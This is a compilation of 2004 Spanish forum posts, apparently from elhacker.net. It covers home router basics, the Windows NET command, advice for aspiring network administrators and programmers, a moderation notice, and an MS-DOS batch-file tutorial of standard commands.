Es que lo he intentado, me lo he currado y luego no ha salido nada. Debo haberlo hecho mal, pero no se por que.

::)
#31
Escribo este pequeño texto a fin de solucionar las dudas corrientes que suelen tener muchas personas relativas al tema de los routers

Este hilo trata de los aparatos que realizan la función de router. No voy a tocar para nada el tema de enrutado

Qué es un router
Un router es aquel ordenador o aparato que conecta dos redes a fin de que puedan enviarse datos entre sí.
Corrientemente tienen dos usos: conectarse a internet (al fin y al cabo internet es otra red) o bien conectar dos redes de una misma empresa a fin de poder compartir información, recursos, etc.

¿Como funciona
Tienen dos modos de funcionar. En monopuesto y en multipuesto.
En monopuesto un router solamente hace de bridge (no enruta). En este modo se pierden la mayor parte de las prestaciones de un router. Prácticamente convertimos nuestro router en un modem. A la hora de compartir esta conexión será necesario un proxy en el ordenador al que esté conectado, porque no se podrá compartir directamente.
En multipuesto se utiliza el router a sus máximas prestaciones. El router guarda una serie de tablas internas que le permiten saber lo que pide cada cual. El router sale al exterior con una única ip llamada ip pública (que es la que va a todas partes y la única que se ve desde el exterior).  Cuando obtiene un resultado mira en su tabla y ve quien solicitó ese resultado y se lo envía.

¿Como se conecta un router?
Un router se conecta siempre a un switch/hub con un cable cruzado. En este caso no hay ningún driver ni software ni nada que instalar en ningún ordenador. Solo se configura el tcp/ip poniendo como puerta de enlace la ip local del router. Un router no se instala. Se enchufa.

Los routers domésticos llevan incluído un hub. En este caso (el normal en casos domésticos), en vez de un cable cruzado se emplea un cable normal porque en realidad no nos enchufamos al router, sino al hub y este ya está diréctamente conectado al router.

Si el router está configurado como monopuesto entonces ya no hablamos de un router. Hablamos de un modem y estará conectado directamente al puerto usb o serie de un ordenador.

Debo tener ip dinámica/estática
El caso del usuario normal con un pc en casa y que no pretende dar servicios de red al exterior le basta con una ip dinámica. Esto es que al conectar el router se autentifica contra un servidor del isp y este al darle acceso le da una ip que utilizará para moverse en internet.
El caso del usuario (empresa) que quiere proporcionar servicios internet, disponer de un dominio, etc. debe utilizar una ip estática. En este caso el router ya tiene prefijada esa ip y no debe conectar/desconectar cada vez.



¿Debo configurarlo?
Vienen ya con una configuración de fábrica. Si se trata de conectar un ordenador o dos quizá se acaba antes si se miran las instrucciones del router y se ve en que ip está puesto. Con poner los ordenadores en la misma subred y poner puerta de enlace la ip del router será suficiente.

Los casos mas comunes para cambiar la configuración de un router son:
a) Quieres abrir o cerrar puertos de acceso.
b) Quieres establecer algunas reglas de filtrado.
c) Quieres cambiar la contraseña de acceso a la configuración
d) Vas a poner algún servicio de red en tu red que será accesible desde el exterior (p. ej. un servidor web o ftp)
e) Te han facilitado un nombre de usuario y contraseña para acceder y te han dicho que lo pongas en la configuración del router.

En estos casos debes acceder a la configuración del router. Hay varios métodos para hacerlo:
a) Desde una ip local accede por http. Para ello harás http://ip_del_router y se solicitará contraseña de acceso. Al ponerla se accede a una página web donde se pueden modificar todos los parámetros del router.
b) Desde una ip local accede por telnet. Para ello harás telnet://ip_del_router y se solicitará contraseña de acceso. Al ponerla se accede a una shell donde se pueden modificar todos los parámetros del router.
c) Mediante hiperterminal
Para ello tendrás que tener conectado el router a un ordenador por el puerto serie. En este caso debes abrir una sesión en hiperterminal y acceder por ella al router. En este caso no es necesaria contraseña. Se accede directamente.
d) Mediante una aplicación que viene con el router
En este caso tendrás que mirar la documentación del router, pero lo general es que haya que acceder por el puerto local o usb.

Debo poner un firewall en mi vida?
No si tienes bien configurado el router puesto que las reglas de filtrado hacen en la práctica de firewall. Solo tienes que tener debidamente actualizado el firmware de tu router para evitar bugs, tener las reglas de acceso en condiciones y tener una contraseña de acceso a la configuración que no sea estandar.

¿Qué pasa si se me olvida la contraseña?
Casi todos los router llevan un botón de reset que pone al router en la configuración de fábrica. Si no tiene ese botón tendrás que acceder por hiperterminal y cambiarla.

¿Qué tipo de cosas debo cambiar en un router?
No tienes porque cambiar nada, pero las necesidades básicas para alguien que no sea un experto se solucionan configurando las opciones de NAT y las reglas de filtrado.

He cambiado la configuración pero no ha funcionado
La configuración de un router se guarda en memoria eprom y persiste aunque lo desenchufes. Si la cambias debes utilizar la opción de reiniciar el router.

¿Por qué se me ha bloqueado el router?
Si has puesto una configuración no válida se puede bloquear. También es frecuente que ocurra al abrir puertos. Si se da el caso solo puedes reiniciarlo.

Qué es NAT
Es un protocolo que sirve para trasladar una solicitud de servicio de una ip a otra y viceversa.
Modificando la configuración de NAT podrás abrir un puerto y darle un sentido. Por ejemplo una regla de NAT puede ser:
'cuando llegue una petición desde el exterior dirigida al puerto 21 envía esa petición al ordenador que tiene la ip X.X.X.X" que es el ordenador que tiene montado un servidor ftp.

¿Qué es el filtrado?
Las reglas de filtrado son reglas para seguridad del router. Equivalen a un firewall. Depende del modelo de router puede haber mas o menos posibilidad de hacer reglas, pero por lo general se pueden hacer reglas por ip, por protocolo o por paquete. Así por ejemplo podrías hacer una regla en la que no estuviera permitido utilizar pop3 y smtp por ejemplo
Las reglas de ip son mas corrientes. Suelen estar puestas de forma que no se pueda acceder a la configuración del router desde una ip que no sea local. Con estas reglas se puede poner algo como "impedir que se pueda acceder desde el exterior a cualquier servicio de red" o bien "permitir que la ip X.X.X.X pueda acceder a la configuración".

¿Como hago para poner mi nombre y contraseña?
Junto a tu nombre y contraseña te han dicho el protocolo de autentificación y de seguridad que usarás. Corrientemente será PPoE o PPoA con chat o pap.

Simplemente sigue sus instrucciones y pon los datos tal y como te digan (considerando mayúsculas y minúsculas).

¿Como configuro mi router con hiperterminal?
a)Conectas el router al puerto serie que quieras (yo hablaré de COM1).
b)Inicias una nueva sesión de hiperterminal con el nombre que quieras, pero poniendo 'directo a COM1"
Al darle conectar debería salir el menú de configuración junto con una bienvenida.
Si no sale nada, comprueba que tienes puesto COM1 con paridad 8N1 y velocidad 9600 sin flujo de datos. También que en hiperterminal tienes puesto el echo (si te salen las cosas dos veces quítalo).

¿Y para configurarlo en linux?
Da igual en que quieras usarlo. Un router es un recurso de red y te conectas a él a través de tcp/ip. Sea windows, sea linux, sea solaris, ... tienes que poner la puerta de enlace tcp/ip la ip local del router.

Abrir puertos en un router
http://foro.elhacker.net/redes/abrir_puertos_en_un_router-t27520.0.html
http://foro.elhacker.net/redes/abrir_puertos_dl_router-t27588.0.html

Abrir puertos ADSL
http://foro.elhacker.net/redes/abrir_puertos_adsl-t11059.0.html

Conectar a través de hiperterminal
http://foro.elhacker.net/index.php/topic,30936.msg153093#msg153093


Un saludo





Con tu permiso, soplo, añado aquí algo más de info  preguntas frecuentes sobre routers:

Los únicos dos routers que yo conozco son:

- 3com 812 Office Connect
- SpeedStream 5660

Están explicados aquí:





Para cuando tengas el nuevo router xDDD

Router Speed Stream + No ICMP response
http://foro.elhacker.net/redes/router_speed_stream_no_icmp_response-t4257.0.html

conexion de router speedstream 5200
http://foro.elhacker.net/redes/conexion_de_router_speedstream_5200-t18821.0.html

speed stream 5200
http://foro.elhacker.net/redes/conceptos_basicos_de_routers_en_windows-t20246.0.html





¿Os parece esto un bug? Router 3com OC812
https://foro.elhacker.net/redes/iquestos_parece_esto_un_bug_router_3com_oc812-t17436.0.html

Configurar una red con el 3Com 812
https://foro.elhacker.net/redes/configurar_una_red_con_el_3com_812-t7220.0.html

Redireccionar paquetes en 3Com 812
https://foro.elhacker.net/redes/redireccionar_paquetes_en_3com_812-t4961.0.html

Cambiar configuración de mi modem ADSL
https://foro.elhacker.net/redes/cambiar_configuracion_de_mi_modem_adsl-t2685.0.html

CitarTienes dos programas "configuradores"

http://ocr812manager.sourceforge.net/
http://3com812manager.adslnet.ws/

Son para el 3COM 812

Más info:

http://www.elhacker.net/adslfaq.htm
#32
Juegos y Consolas / Comprar un juego
27 Junio 2004, 09:14 AM
Hola
Estoy pensando en comprar un juego. Mi hermano dice que prefiere uno de guerra (manejar soldados, escenarios, etc)

Dado que tengo ADSL podré jugar en línea, pero mi nivel de inglés es mediano y mi hermano cero patatero. Si jugamos contra otros jugadores podemos no enterarnos de la mitad (él de nada) a menos que el idioma no sea importante o bien que se pueda hablar con contrincantes en español.

¿Qué me aconsejais?
#33
en un entorno de shell, NET es una utilidad del sistema operativo windows Win2k y XP que sirve para acceder a servicios de red. Algunos comandos también funcionan en win9X, pero a partir de Win2k se añadieron muchos parámetros nuevos.

Tiene muchas posibilidades y se usa siempre con parámetros. Los parámetros son:

---------------------- Servicios -----------------------------
NET START  x
Inicia el servicio x

NET STOP x
Detener un servicio x

NET CONFIG SERVER
Muestra/modifica servicios
   /hidden:yes/no -> indica si el servidor debe mostrarse en la lista de ordenadores. Se corresponde con el comando Samba 'browseable'
   /autodisconnect:X -> minutos antes de que se desconecte un usuario del servidor.

NET PAUSE x
Interrumpe un servicio X

NET CONTINUE x
Continuar un servicio X interrumpido previamente

---------------------- Recursos ------------------------------
NET VIEW x /Domain:y
mostrar dominios enteros o recursos en un equipo
   /Domain:y -> muestra equipos en el dominio.
   x -> Es el equipo que se desea ver \\ordenador

NET PRINT impresora
Permite ver/modificar la cola de impresión
   x /hold ->no imprimir el trabajo nº x
   x /releaso -> volver a poner en marcha el trabajo nº x

NET SHARE
mostrar/modificar recursos compartidos
Para crear uno:
net share RecursoDeRed=recurso
net share Documentos="c:\Document & Settings\usuario\Mis Documentos"
Si se añade /delete se borra ese recurso.

NET USE nombre \\recurso
Crea conexiones de red.
Para crear una conexión de impresora
Net use LPT2 \\servidor\impresora
Para crear una conexión de carpeta
Net use F: \\servidor\carpeta contraseña
Si en contraseña se pone * se indica que se desea preguntar cada vez la clave.
Si se añade /user:dominio\usuario se valida el usuario en el dominio.

------------------ Grupos / Usuarios -----------------------
NET GROUP x
Añadir, ver y modificar grupos de usuarios en un dominio.
   /Domain: nombre del dominio del grupo
   /add -> añadir el grupo

NET USER x y
Añadir, ver, modificar usuarios en un dominio
   /Domain: nombre del dominio del usuario
   /add -> añadir nuevo usuario
   y -> contraseña. Si se pone * se debe preguntar cada vez.
   /delete -> borrar un usuario

NET ACCOUNTS
Muestra/modifica la cuenta del usuario.
Parámetros:
   /minpwlen X -> longitud mínima de password (en caracteres)
   /uniquepw:X ->No se puede utilizar la misma password durante X cambios de clave
  /Domain: X -> realiza los cambios en el dominio.
  /Sync -> Actualizar también los BDC (solo con /domain)

------------------------ Comunicaciones -----------------
NET SEND x y
Enviar el mensaje Y a X (usuario u ordenador)
Si nombre es * Envía a todos los miembros del grupo/dominio
Si se añade /domain:nombre funciona igual, pero a los miembros de un dominio.

Un saludo
#34
Redes / Como ser un buen Administrador de Red
30 Mayo 2004, 07:19 AM
Hola
Escribo este texto como orientación a las personas que tienen vocación de ser administradores de red algún día y se preguntan que deben aprender.

¿Qué hay que conocer?
1. Sistemas Operativos
  Los sistemas operativos de servidor son naturalmente fundamentales. Hoy por hoy un buen administrador conoce el servidor natural de Windows (en este momento Windows 2003), Unix y/o Linux y/o Solaris. En sistemas mayores se requieren combinaciones Cobol CICS/DB2/Natural Adabas o AS/400 con todas sus extensiones y AIX.

  No solo hay que conocer los sistemas operativos de servidor ¿Con qué trabajarán los clientes? Lo normal es que utilicen el windows de turno (actualmente Windows XP profesional), pero cada día van saliendo buenas soluciones en linux y no hay que despreciarlo (especialmente desde que puedes poner un ordenador sencillo (y mas barato) poner linux y correr las aplicaciones windows que necesitas (sabiendo que no instalarán otras ni tendrás problemas de virus, bugs, etc).

2. Protocolos de red
  Un buen administrador conoce a fondo como se comunican los ordenadores entre sí. Todo el modelo TCP es fundamental.

3. Herramientas de red
  Un buen Administrador conoce a fondo las distintas herramientas de red. Escaners, etc. Hoy por hoy es FUNDAMENTAL  conocer herramientas como nessus, tcpdump y snort (aunque hay muchas mas y muy buenas).

4. Un buen administrador está al tanto de las diversas posibilidades que se van abriendo en el mercado. Tanto por la posibilidad de actualizar o adquirir software nuevo que le permita agilizar la red o ahorrar costes como por el hecho de estar al tanto de nuevas amenazas y posibles soluciones.

5. Un buen administrador considera la segurida e integridad de los datos algo fundamental. Utiliza herramientas de detección de intrusos, mira los log, etc.

6. Un buen administrador realiza copias de seguridad (en redes grandes suele haber un técnico expresamente para esto).

7. Un buen administrador conoce fundamentos de programación (aunque no programe necesariamente) .

Un saludo
#35
Hola
Escribo este texto como orientación a todas las personas que desean iniciarse en el mundo de la programación y no saben por donde empezar:

--------------- CONSIDERACIONES PREVIAS -------------------
1. Un buen programador no solo conoce "lenguajes de programación". Conoce en profundidad el sistema operativo para el que trabaja y si programa aplicaciones cliente/servidor también conoce como funcionan las comunicacioens entre ordenadores.

2. Un buen programador conoce varios "lenguajes de programación" y decide en cada caso la mejor forma de "atacar" el problema.

3. Un buen programador sabe lo importante que son los "fundamentos informáticos". Cuando estudias te enseñan algoritmos, estructura de la información y conceptos como por ejemplo 'estructura de una base de datos sql' que a mucha gente le parecen una tontería. Pues esas "tonterías" son FUNDAMENTALES.

----------------- ¿QUÉ LENGUAJE DEBO APRENDER? -------------
Pues eso depende. Por que cada lenguaje tienen unas ventajas y unos inconvenientes. Por tanto la respuesta a esa pregunta es ¿Qué es lo que quieres hacer con la programación?

1. Quiero hacer aplicaciones que gestionen bases de datos.

    En este caso tendrás que conocer la base de datos que   
    pretendes atacar. Hoy en día las bases de datos mas
    usuales son (en orden de importancia) access, mysql,
    informix, sql server, oracle.

   Access se utiliza en entornos muy pequeños en un entorno
   windows. Generalmente son aplicaciones monousuario y
   muy limitadas.

   Las otras son bases de datos sql multiusuario. Suelen ser
   bases de datos remotas a las que accedes como cliente por
   lo que tendrás que conocer la base de datos y dominio de
   técnicas de programación cliente/servidor.

   Generalmente estas bases de datos funcionan en entornos
   de servidor Unix/Linux por lo que a menudo los clientes
   accederán a ellas mediante un servidor WEB instalado en el
   servidor. En un entorno de servidor Unix/Linux te interesa
   por tanto conocer PHP y javascript para consultar de forma
   remota esta base de datos.

   Caso aparte es SQL Server que funciona en servidores
   windows y por tanto para acceder de forma óptima a estos
   datos deberías pensar en ASP y VbScript en vez de en PHP
   y javascript.

   Habitualmente estas bases de datos son atacadas por
   varios usuarios a la vez por lo que tendrás que conocer
   técnicas de programación de Cliente/Servidor  y
   funcionamiento de comunicaciones entre ordenadores.

2. Quiero hacer aplicaciones tipo antivirus, firewalls,
   dreamweaver, photoshop, ...

   Estos programas se realizan en C++ y Delphi

3. Quiero hacer aplicaciones para internet.

   En este caso debes conocer PHP, javascript o bien ASP,
   VbSCript y desde luego HTML. PHP y javascript es mejor
   para acceder a servidores Unix/Linux. ASP, VbScript es
   mejor para acceder a servidores Windows. Esto no quiere 
   decir que con PHP no se pueda acceder a una base de datos
   sql server en un servidor Windows. Eso sería falso. Se
   puede.

4. Quiero hacer aplicaciones de tipo Sistema Operativo.

   Este tipo de aplicaciones se realizan en C++ y ensamblador.

----------- CONSIDERACIONES ADICIONALES ---------------
En general se puede decir que las cosas de Microsoft funcionn mejor con lenguajes de Microsoft. Se integran mejor y con menos esfuerzo consigues mejor resultado. Aunque a menudo hay mejores opciones en el mercado el mundo microsoft "pesa mucho" y se encuentran multitud de servidores y soluciones pensadas por y para microsoft.

Los Servidores Unix/Linux Son mejores y mas estables por lo que están muy extendidos. Por ello lenguajes como PHP y javascript son una muy buena opción.

Lo mismo se puede decir en el mundo Solaris. Java es una opción a tener en cuenta.

---------------- POR ULTIMO ------------------------
Para conseguir un empleo no te valdrá conocer catorce lenguajes. Un posible puesto de trabajo puede requerir conocimientos de visual basic+ASP+SQL SERVER. Si conoces esto tienes trabajo seguro.

Si conoces ORACLE tienes trabajo seguro.

Conocer HTML+PHP+javascript y una base de datos sql (empieza por mysql)  es una buena opción para desarrollar páginas web.

Mucha gente cree que la programación cliente/servidor supone saber manejar los sockets. Pues sí, hay que saber esto, pero también como funciona la red, como van a moverse los paquetes por la red, si ejecutar un procedimiento en el servidor o en el cliente, si se van a hacer réplicas de datos, como van a funcionar los bloqueos, Que pasará ante procesos concurrentes, ...

#36
Si no encuentras un post que escribiste, es o porque fue movido, o porque fue borrado.

Para buscar tus propios posts, entra a tu perfil y buscalos en la parte de abajo dice "mostrar los últimos mensajes de este usuario". si no están, es porque fueron borrados por incumplir las reglas.

Tratemos de evitarnos mensajes todos los días de "donde está mi post".


----------------------------------------
Las diferentes areas temáticas están para eso, para tener ordenados los temas.

Puedo entender que alguien se despiste una vez  y no ponga las cosas en su sitio.

Puedo entender que alguien no sepa donde poner algo y acabe poniéndolo en dudas generales.

Sin embargo el 99% de las veces hay un área temática para el post. Por favor procurad no usar esta a menos que no haya otro sitio mejor.

Cada vez que muevo un post queda el mensaje de MOVIDO, que no pasa nada cuando es uno y así el posteador lo encuentra fácil, pero dado que todos los días hay por lo menos cinco y ensucian el foro he decidido no poner los post de MOVIDO.

Así pues a partir de ahora si posteasteis aquí o en sugerencias o en foro libre y no encontrais vuestro post buscadlo en otra zona que allí estará.
#37
Hola
Viendo que hay muchas personas que preguntan a menudo sobre este tema he decidido poner un pequeño texto que explique como funciona y que se puede hacer.

Posiblemente ya hay algún otro, pero yo no lo he visto.

Espero que le sea de utilidad a alguien
********************************************
Introducción
Antes que nada indicaros que se llaman procesos batch. La razón por la que a menudo se alude a ellos como bat es porque el entorno msdos requiere como máximo tres letras en la extensión y por tanto los archivos tienen la extensión .bat

¿Qué se puede hacer con ellos?
Pues se puede hacer de forma automatizada todo aquello que se pueda hacer en la consola de msdos.

¿Como hago un archivo bat
Pues son texto plano. Quiere eso decir que se pueden escribir en el block de notas, utilidad Edit de msdos  o algún editor ascii.

Al guardarlos deben tener la notación de nombres propia de msdos. Esto es un nombre con máximo 8 letras (espacios y \ no permitidos), luego un punto y la extensión que en este caso es obligatoriamente bat.

Para crearlos desde la misma consola puedo utilizar varios sistemas

Sistema 1: mediante la orden copy
copy con: nombre_de_archivo.bat
...
...
comandos
...
...
Ctrl z (se acaba y se graba al pulsar Ctrl Z

Método 2 mediante la redirección
echo 1º línea a insertar >nombre_de_archivo.bat
echo restantes líneas >>nombre_de_archivo.bat

En cualquier caso para modificarlos podemos utilizar la utilidad Edit de msdos (abriendo el archivo concreto y luego grabando los cambios) o el block de notas.

¿Qué es eso de la redirección?
Pues al igual que en unix se puede hacer que la salida de un comando sirva como entrada de otro.

Para ello se utilizan los operadores < y > que sirven para indicar que salida debe ir a que lugar

Por ejemplo si yo le doy la orden DIR, esta irá por defecto a la pantalla (dispositivo CON), pero puedo redirigir la salida a la impresora por defecto (dispositivo PRN) de la siguiente forma
dir >prn

Qué son los filtros
Los filtros son órdenes que sirven para formatear la salida del comando de acuerdo a nuestros intereses. Se utilizan mediante la barra vertical (Alt 124).

El filtro SORT sirve para ordenar la salida
dir | sort
El filtro MORE sirve para pausar la salida cada pantalla para que pueda ver todos los datos de salida con tranquilidad. Pasa de pantalla a pantalla al pulsar una tecla
dir | more

¿Como puedo seleccionar varios archivos
Para ello y teniendo en cuenta que los nombres de los archivos deben cumplir la notación de msdos (8 letras sin espacios como máximo, luego un punto y tres letras como máximo de extensión) se pueden utilizar los llamados comodines.
* Equivale a varios caracteres
? equivale a un solo caracter.

Ejemplos
  comando *.cfg -> seleccionar todos los archivos que tengan la extensión cfg
  comando a*.cfg -> seleccionar todos los archivos que comienzen por a y tengan la extensión cfg
  comando a*b.cfg -> seleccionar todos los archivos que comienzen por a, acaben por b y tengan la extensión cfg
  comando *asa*.cfg -> seleccionar todos los archivos que contengan 'asa' y tengan la extensión cfg
  comando c?asa.cfg -> seleccionar todos los archivos que contengan una C, luego un caracter cualquiera y luego 'asa'. Debe tener también la extensión cfg
  comando c?b*.* -> seleccionar todos los archivos que empiezen por c, tengan un caracter cualquiera, luego una b y cualquier extensión
  comando *.b?t -> seleccionar todos los archivos que tengan una extensión que empieze por b, luego un caracter cualquiera y luego una t.

¿Que son las trayectorias o paths?
La trayectoria es el nombre completo de un archivo e indica la situación exacta de un archivo y su nombre.

Si digo que el archivo se llama leeme.txt indico su nombre, pero nada mas. Se da por supuesto que se encuentra en el directorio actual.

Si digo c:\leeme.txt indico que el archivo que me interesa se llama leeme.txt y se encuentra en el directorio raíz de C.

Dado que en msdos no se admiten nombres largos (mas de 8 letras) ni espacios, cuando quiero utilizar un nombre de windows en msdos debo saber que este será reconvertido a su nombre corto. Este se obtiene añadiendo los seis primeros carácteres válidos del nombre, luego el signo ~ (alt 126) y luego un número.

De esta forma un archivo que se encuentre en Mis documentos en win98 tendrá el path
  c:\misdoc~1\leeme.txt

También se pueden utilizar (mientras las comillas para delimitar el nombre
  "c:\Mis Documentos\leeme.txt"
Pero esto solo vale cuando se utiliza msdos como consola (no cuando se inicia windows 98 en modo msdos)

Obsérvese que se utiliza la barra contraria a la de linux/unix para especificar subcarpetas o subdirectorios

Esta sería la trayectoria de mimusica.mp3
c:\misdoc~1\mi~1\mimusica.mp3
Qué equivale a
"c:\Mis Documentos\Mi Música\mimusica.mp3"

Cuales son los nombres de dispositivos
La pantalla se llama CON. Por eso si redirigo algo a CON lo estoy sacando por pantalla.
La impresora por defecto se llama PRN
La primera impresora se llama Lpt1 y las demás Lpt2, Lpt3 (una en cada puerto paralelo instalado en el sistema). Hasta donde yo sé no hay posibilidad de llegar a USB si no es la impresora por defecto.

Como se les llama a las unidades lógicas
Siempre es una letra seguida del signo dos puntos.
  A: = disquetera
  B: = reservada para segunda disquetera
  C: = primera partición (normalmente es la que arranca)
  D: = segunda partición (generalmente el cdrom)
Por eso si se crea una unidad lógica mediante netbios en windows, esta puede tener un nombre msdos para poder acceder a ella desde la consola. La letra que se asigne no puede corresponder a una unidad lógica existente.

¿Qué comandos puedo utilizar?
Comandos básicos
CLS -> borra pantalla
ECHO -> tiene varias posibilidades:
   Echo sin parámetros saca el estado en que se encuentra la variable echo (on u off)
   Echo on activa el echo (como en un terminal TTY) por lo que los comandos se verán en pantalla y luego su resultado
  Echo off desactiva el comando echo y ya se verán los resultados de la ejecución del comando, pero no el comando en sí mismo
  Echo literal saca por pantalla el literal. Por eso al hacer echo literal >fichero.bat estamos redirigiendo la salida de echo literal (que tendría que salir por la pantalla) al archivo fichero.bat.
PAUSE ->Sirve para sacar un mensaje y parar la ejecución hasta que se pulse una tecla
PROMPT ->Sirve para cambiar el prompt de msdos. El más habitual es $p$g que corresponde a
  $p = mostrar trayecto actual
  $g = mostrar el separador >
  $l  = mostrar el separador <
  $b = mostrar el separador |
  $q = mostrar el signo =
  $$ = mostrar el signo $
  $t  = mostrar la hora
  $d = mostrar la fecha
  $v = mostrar la versión del sistema
  $n = mostrar unidad actual
  $h = retroceso. Borra el caracter previo
  $e = esc. Muestra el signo correspondiente al asci 27
  $_ = Retorno de carro y salto de línea (equivale a chr(10) & chr(13)

  Por eso si ponemos prompt $p$g el cursor muestra la trayectoria donde estamos y luego el separador. Es posible añadir texto (por ejemplo prompt Mi_nombre $p$g

DATE
Ver/poner la fecha del sistema
TIME
Ver/poner la hora del sistema
VER
Versión del sistema
VOL unidad
Volumen de la unidad especificada
PATH
Indica un trayecto por defecto si se produce una petición de un archivo que no está en el directorio actual.
Por eso en windows 98 suele haber una línea en autoexec.bat que es
  path c:\windows; c:\windows\command
que indica que si se solicita un ejecutable que no esté en el directorio actual, lo busque primero en la carpeta windows y luego en la subcarpeta command.

KEYB código_pais,juego_de_caracteres,definición_de_teclado,
El código de país de españa es el 'sp'
El juego de caracteres aplicable a españa es el 850 ó 437
El archivo de definición de teclado es keyboard.sys
Para configurar un teclado en español
keyb sp,,c:\windows\command\keyboard.sys

SYS unidad
Transferir el sistema operativo a la unidad especificada.

DOSKEY
Emular la capacidad de unix/linux de recordar los comandos introducidos anteriormente mediante la flecha arriba del teclado.

MEM parámetros
Muestra la memoria usada y libre en el sistema
  /p -> muestra por programas
  /d -> por programas y controladores
  /c -> clasifica por tamaño

Comandos de manejo de archivos
COPY origen destino
  Sirve para copiar archivos de un lugar a otro. el origen debe ser un trayecto completo de donde están los archivos a copiar. Si se omite se entiende que en el directorio actual.
 El destino debe ser una trayectoria completa de donde dejar el/los archivo(s)
  copy miarchivo.txt c:\ (copiarlo al directorio raíz de C)
  copy miarchivo.txt c:\miarch.txt (copiarlo y además cambiarle el nombre a miarch.txt)
  copy *.txt a:\ (copiar todos los archivos que tengan la extensión txt a la unidad A)
  copy *.txt c:\misdoc~1 (copiar todos los archivos que tengan la extensión txt al directorio Mis documentos (cuyo nombre corto es misdoc~1).

DEL archivo(s)
Borrar archivos en seleccionados
  del leeme.txt (borra el archivo leeme.txt en el directorio actual)
  del c:\leeme.txt (borra el archivo leeme.txt que se encuentra en c:\)
  del archiv~1\*.* (borra todos los archivos que se encuentren en el directorio 'Archivos de programa' cuyo nombre corto es archiv~1 (no se borran las subcarpetas)

DELTREE archivo(s) -y
  Borra el arbol especificado (si es un archivo pues el archivo, si es una carpeta pues la carpeta con todas las subcarpetas que incluya).
 Con el parámetro -y no pregunta cada vez
 Este comando en realidad no es un comando sino una utilidad incluída en msdos.

MKDIR nombre (o bien MD nombre)
 Sirve para crear un directorio
  Md micarpeta

CHDIR nombre (o bien CD nombre)
  Sirve para ir al directorio aludido. Se le tiene que dar la trayectoria completa o si no intentará desplazarse desde el directorio actual.
  Cd c:\archiv~1 (se va a archivos de programa)
  Cd .. (se va al directorio superior)

RMDIR nombre (o bien MD nombre)
  Borra un directorio. Este debe estar vacío.
  RD c:\Misdoc~1 (borra Mis Documentos, aunque no podrá porque no está vacío).

DIR trayecto
  Saca una lista del contenido del directorio especificado en el trayecto. Si no se especifica nada, se entiende el actual.
  Si se pone como parámetro /W saca un listado resumido.
  Si se pone como parámetro /P saca un listado utilizando el filtro more.

ATTRIB archivo(s)-> Muestra los atributos de los archivos indicados y en su caso permite cambiarlos.
Los atributos son:
  H -> oculto. Se activa con +h y desactiva con -h
  R -> Lectura. Solo lectura con +r, normal con -r
  S -> Sistema. Se activa con +s y desactiva con -s
  A -> Modificado. Para copias de seguridad incrementales. +a indica modificado y -a indica no modificado.
Attrib miarchivo.txt (mostrar los atributos de miarchivo.txt)
attrib *.exe +r +r +s (pone a todos los archivos con extensión exe como ocultos, del sistema y read only)

RENAME o REN nombre1 nombre2
Cambiar el nombre de archivo
Ren miarchivo.txt miarchivo2.txt

TYPE archivo
Muestra por pantalla el contenido de un archivo
type miarchivo.txt

Comandos de disco
DISCKCOPY origen destino-> Copia disquetes completos.
Diskcopy a: a: Copia el disquete introducido en la unidad A a un disquete que se introducirá posteriormente en la unidad A

FDISK
Permite editar las particiones del disco duro.
Con la opción /mbr permite borrar el Master Boot Record

FORMAT unidad parámetros
 /q -> formateo rápido
 /s -> Transferir el sistema operativo
Format a: /s formatea el disquete y le transfiere el sistema operativo básico de arranque.

LABEL unidad etiqueta
Cambiar la etiqueta de volumen del disco de la unidad
label a: midisquete

MSCDEX
Montar una unidad de CdRom en msdos (solo requerido si se carga msdos sin estar windows cargado previamente (por ejemplo cuando se arranca desde disquete).
Suponiendo un CdRom al que se haya cargado en config.sys con el nombre MiCd
mscdex /d:MiCd

Scandisk unidad parámetros
Para comprobar/reparar el estado del disco
  /autofix -> reparar automáticamente errores
  /surface -> hacer pruebas de superficie
  /checkonly -> no reparar, solo chequear

Comandos para programación
EDIT archivo
Editor de textos utilizado para editar scripts y archivos de texto.

DEBUG archivo parámetros de archivo
Inicia el desensamblador  con el programa indicado al que se le pasan los parámetros especificados.

CHOICEtexto opciones
Se utiliza en programas bat para dar a elegir a un usuario entre un conjunto de opciones
La respuesta se devuelve mediante la variable errorlevel
choice Elija una opción snc
if errorlevel 1 goto ...
if errorlevel 2 goto ...
if errorlevel 3 goto ...
Este ejemplo muestra el literal "elija una opción y da a elegir s (sí), n (no) o C (continuar) por ejemplo
las tres siguientes líneas especifican a donde debe saltar el flujo del programa según la tecla pulsada.

Comandos de red
ARP parámetros
Modificar la tabla arp.
  -a -> mostrar la tabla arp
  -s ip mac -> agregar una entrada a la tabla arp

FTP
Iniciar el cliente ftp

IPCONFIG parámetros
Mostrar las características de configuración de IP
  /all -> muestra toda la información de configuración
  /release adaptador -> libera la ip del adaptador especificado
  /renew adaptador -> renueva la ip para el adaptador especificado
  /flushdns -> purga la caché de resolución de dns
  /registerdns -> actualiza las conexiones dhcp y vuelve a registrar los nombres dns
  /displaydns -> muestra el contenido de la cache de resolución dns
 
NBTSTAT
Hace un estado de la red por netbios
Tiene muchos parámetros. Consultarlos mediante nbtstat /?

NET parámetros
Comando para el uso de redes netbios
  USE \\equipo\recurso -> para acceder a unidades lógicas compartidas. Se le asignará un nombre de unidad y estará disponible como una unidad mas del sistema.
  USE \USER: dominio\usuario para acceder a un dominio
  USE unidad /DELETE eliminar el acceso a unidad compartida.
  SHARE trayecto /REMARK texto -> para compartir un recurso en red
  START -> para comenzar sesión netbios
  STOP -> para detener netbios

NETSTAT
Para ver el estado de la red.
  -a -> mostrar todos los puertos y conexiones
  -n -> mostrar números de puertos y direcciones
  -r -> mostrar la tabla de rutas
  -s -> mostrar estadísticas por protocolo
  -p protocolo-> protocolo puede ser tcp o udp. muestra las conexiones activas

NSLOOKUP dominio
Muestra el dominio, su ip, dns donde se resuelve y sus alias

PING
Utilizar ICMP para llegar a un determinado nodo

TELNET ip puerto
Utilizar el protocolo telnet para acceso a un servidor exterior

TRACERT destino
tracear el camino hasta llegar al destino especificado

Programación BAT
Para crear un script bat podemos utilizar cualquiera de los métodos expuestos anteriores y utilizar cualquiera de los comandos especificados.

Pueden recibir parámetros según los cuales realizar operaciones u otras.

Un caso especial es el archivo autoexec.bat que se ejecuta automáticamente en windows 98 y anteriores. debe estar en el directorio raíz.

********************************************
Ejemplo 1
Archivo bat crea un disquete de arranque en la unidad A con cdrom montado y teclado en español.

echo off
rem **** esto es un comentario
rem **** formatear disquete y pasarle el sistema
format a: /s
rem **** copiar archivos necesarios para teclado en español
copy c:\windows\command\keyboard.sys a:
copy c:\windows\command\keyb.com a:
